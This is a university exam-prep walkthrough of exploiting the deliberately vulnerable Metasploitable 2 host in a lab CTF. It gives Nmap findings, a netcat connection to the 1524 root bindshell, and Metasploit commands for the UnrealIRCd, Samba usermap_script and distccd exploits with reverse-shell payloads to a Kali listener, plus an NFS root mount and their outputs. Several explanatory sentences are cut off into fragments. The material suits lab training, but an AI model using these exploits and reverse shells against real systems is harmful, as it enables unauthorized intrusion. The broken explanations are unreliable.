IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/solutions/metasploitable2-multiple-exploitation-paths.md

Metasploitable 2 Multiple Exploitation Paths

Scope and Goal

This walkthrough documents successful exploitation of the Metasploitable 2 host found during the authorized university CTF/lab reconnaissance.

For the broader live-lab handoff and raw terminal evidence across all targets, see live-lab-evidence-handoff-and-target-playbooks.md.

Target:

IP: 192.168.2.197
Hostname: metasploitable
OS family: Linux 2.6.x
Identified lab image: Metasploitable 2
Confirmed successful access:
- Direct root shell through TCP/1524
- Command shell through UnrealIRCd 3.2.8.1 backdoor on TCP/6667
- Command shell through Samba 3.0.20 usermap script on TCP/445
- Command shell through distccd command execution on TCP/3632
- NFS export `/` discovered with `showmount`

Use this only inside the authorized lab/CTF environment.

Why This Target Was Interesting

The full Nmap scan showed many old, intentionally vulnerable services:

21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 (Ubuntu) DAV/2
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian
1524/tcp  open  bindshell   Metasploitable root shell
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1
5432/tcp  open  postgresql  PostgreSQL DB 8.3.x
5900/tcp  open  vnc         VNC
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  drb         Ruby DRb RMI

Why this matters:

distccd, old MySQL, old PostgreSQL, and NFS are all classic CTF enumeration targets.

paths to shell access.

Path 1: Direct Root Bind Shell on 1524

Nmap showed:

1524/tcp open bindshell Metasploitable root shell

This is the highest-priority finding because it does not require guessing credentials or running a complex exploit. The service is already a shell listening on the target.

Command:

nc -nv 192.168.2.197 1524

Observed result:

(UNKNOWN) [192.168.2.197] 1524 (ingreslock) open
root@metasploitable:/#

Proof commands:

id
whoami
hostname
pwd

Observed proof:

uid=0(root) gid=0(root) groups=0(root)
root
metasploitable
/

What this proves:

Exam wording:

Nmap identified TCP/1524 as "bindshell Metasploitable root shell". I connected
with netcat and validated root access using id, whoami, hostname, and pwd. The
id output showed uid=0(root), proving full root compromise.

Initial search:

find / -iname "*flag*" 2>/dev/null
find / -iname "*proof*" 2>/dev/null

Observed examples:

/var/lib/mysql/debian-5.0.flag
/usr/sbin/rootflags
/usr/share/man/man8/rootflags.8.gz

Interpretation:

challenge flag.

Useful follow-up searches:

find /home /root /var/www -type f 2>/dev/null | grep -Ei 'flag|proof|user|pass|key'
find /var/www -type f -maxdepth 5 2>/dev/null | head -100
ls -la /root
ls -la /home

Path 2: UnrealIRCd 3.2.8.1 Backdoor

Nmap showed:

6667/tcp open irc UnrealIRCd
version: Unreal3.2.8.1
server: irc.Metasploitable.LAN

Why this matters:

Metasploit commands:

msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.2.197
set RPORT 6667
set payload cmd/unix/reverse
set LHOST 192.168.2.32
run

Why these options matter:

Setting Purpose
RHOSTS Target host running UnrealIRCd.
RPORT IRC service port, here 6667.
payload Unix command reverse shell.
LHOST Kali IP that receives the reverse callback.

Successful output:

[*] 192.168.2.197:6667 - Connected to 192.168.2.197:6667...
[*] 192.168.2.197:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.2.32:4444 -> 192.168.2.197:46220)

Post-exploitation check from the shell:

ls

Observed working directory contents:

Donation
LICENSE
aliases
backpipe
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
pipe1
spamfilter.conf
tmp
unreal
unrealircd.conf

Interpretation:

use UnrealIRCd as a second proof path.

Better proof commands for the UnrealIRCd shell:

id
whoami
hostname
pwd
uname -a

Failed Path: vsftpd 2.3.4 Backdoor

Nmap showed:

21/tcp open ftp vsftpd 2.3.4
ftp-anon: Anonymous FTP login allowed
6200/tcp open lm-x?

The expected module was:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.2.197
set RPORT 21
run

Observed result:

[*] 192.168.2.197:21 - The port used by the backdoor bind listener is already open
[-] 192.168.2.197:21 - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.

What this means:

create a usable session.

the expected backdoor shell, or if this lab instance behaves differently.

How to document it in an exam:

I tested vsftpd 2.3.4 with the known Metasploit backdoor module. The attempt
did not create a session because port 6200 was already open but did not behave
as a shell. I therefore moved to confirmed paths: TCP/1524 root bindshell and
UnrealIRCd 3.2.8.1.

Manual checks:

nc -nv 192.168.2.197 6200
ftp 192.168.2.197

Path 3: Samba 3.0.20 Usermap Script

Nmap showed:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian

Why this matters:

script command execution issue.

module.

separate exploitation path.

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.2.197
set RPORT 445
set payload cmd/unix/reverse_netcat
set LHOST 192.168.2.32
run

Successful output:

[*] Started reverse TCP handler on 192.168.2.32:4444
[*] Command shell session 2 opened (192.168.2.32:4444 -> 192.168.2.197:52183)

Command run in the shell:

ls

Observed output:

CYPHER.txt.save
aHIHvOKzBL
bin
boot
cdrom
cypher.txt
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nJDIeDYrgz
netstat.txt
nohup.out
opt
proc
root
sbin
srv
sys
test.pub
tmp
usr
var
vmlinuz

Important observation:

are worth investigating during the CTF.

target.

Follow-up commands for this shell:

id
whoami
hostname
pwd
cat /cypher.txt
cat /CYPHER.txt.save
cat /test.pub

Exam wording:

After identifying Samba 3.0.20-Debian, I used
exploit/multi/samba/usermap_script with a reverse netcat payload. Metasploit
opened command shell session 2. Running ls showed filesystem-root contents,
including cypher.txt and other possible challenge artifacts.

Path 4: distccd Command Execution

Nmap showed:

3632/tcp open distccd distccd v1

Why this matters:

abused for command execution.

msfconsole
use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.2.197
set RPORT 3632
set payload cmd/unix/reverse
set LHOST 192.168.2.32
run

Successful output:

[*] Started reverse TCP double handler on 192.168.2.32:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BinVuZ9sgs6W55dW;
[*] Command shell session 3 opened (192.168.2.32:4444 -> 192.168.2.197:33204)

Command run in the shell:

ls

Observed output:

5172.jsvc_up
cachehouyn3jar
cachehouyn5jar
gconfd-msfadmin
orbit-msfadmin

Interpretation:

command-shell sessions can close easily.

Follow-up commands:

id
whoami
hostname
pwd
uname -a

Exam wording:

Nmap identified distccd on TCP/3632. I used exploit/unix/misc/distcc_exec with
payload cmd/unix/reverse and LHOST=192.168.2.32. Metasploit opened command
shell session 3, proving command execution via the distccd service.

NFS Enumeration Finding

showmount -e 192.168.2.197
rpcinfo -p 192.168.2.197

Observed output:

Export list for 192.168.2.197:
/ *

What this means:

client in the output.

the export is writable and root squashing is weak/misconfigured.

If exports are shown:

mkdir -p /tmp/msf2-nfs
sudo mount -t nfs 192.168.2.197:/ /tmp/msf2-nfs -o nolock
ls -la /tmp/msf2-nfs

Useful read-only checks:

ls -la /tmp/msf2-nfs
ls -la /tmp/msf2-nfs/root
find /tmp/msf2-nfs -maxdepth 3 -type f 2>/dev/null | grep -Ei 'flag|proof|user|pass|key|cypher'

Important caution:

unless the exam task explicitly expects it.

access only if you actually test it safely in scope.

Exam-Ready Summary

Target 192.168.2.197 was identified as Metasploitable 2. Nmap found many
vulnerable services, including vsftpd 2.3.4, Samba 3.0.20-Debian, UnrealIRCd,
distccd, and a root bindshell on TCP/1524.

The fastest confirmed compromise was TCP/1524. I connected with netcat and
obtained a root shell. Evidence: id returned uid=0(root), whoami returned root,
hostname returned metasploitable, and pwd returned /.

I exploited UnrealIRCd 3.2.8.1 using Metasploit module
exploit/unix/irc/unreal_ircd_3281_backdoor with RHOSTS=192.168.2.197,
RPORT=6667, payload=cmd/unix/reverse, and LHOST=192.168.2.32. Metasploit opened
a command shell session back to Kali.

I exploited Samba 3.0.20-Debian using exploit/multi/samba/usermap_script with
payload cmd/unix/reverse_netcat. Metasploit opened command shell session 2 and
ls showed filesystem-root contents, including cypher.txt and CYPHER.txt.save.

I exploited distccd on TCP/3632 using exploit/unix/misc/distcc_exec with
payload cmd/unix/reverse. Metasploit opened command shell session 3, proving
remote command execution through the distributed compiler daemon.

NFS enumeration with showmount -e showed that the target exports / to *, making
NFS another high-value enumeration path.

The vsftpd 2.3.4 backdoor module was tested but did not create a session because
port 6200 was already open and did not behave as a shell. I documented that as
a failed attempt and continued with confirmed exploitation paths.

Key Lessons

bindshell on 1524/tcp is stronger than guessing credentials.

clean root proof is enough to establish compromise.

result, and proof commands.

content and context.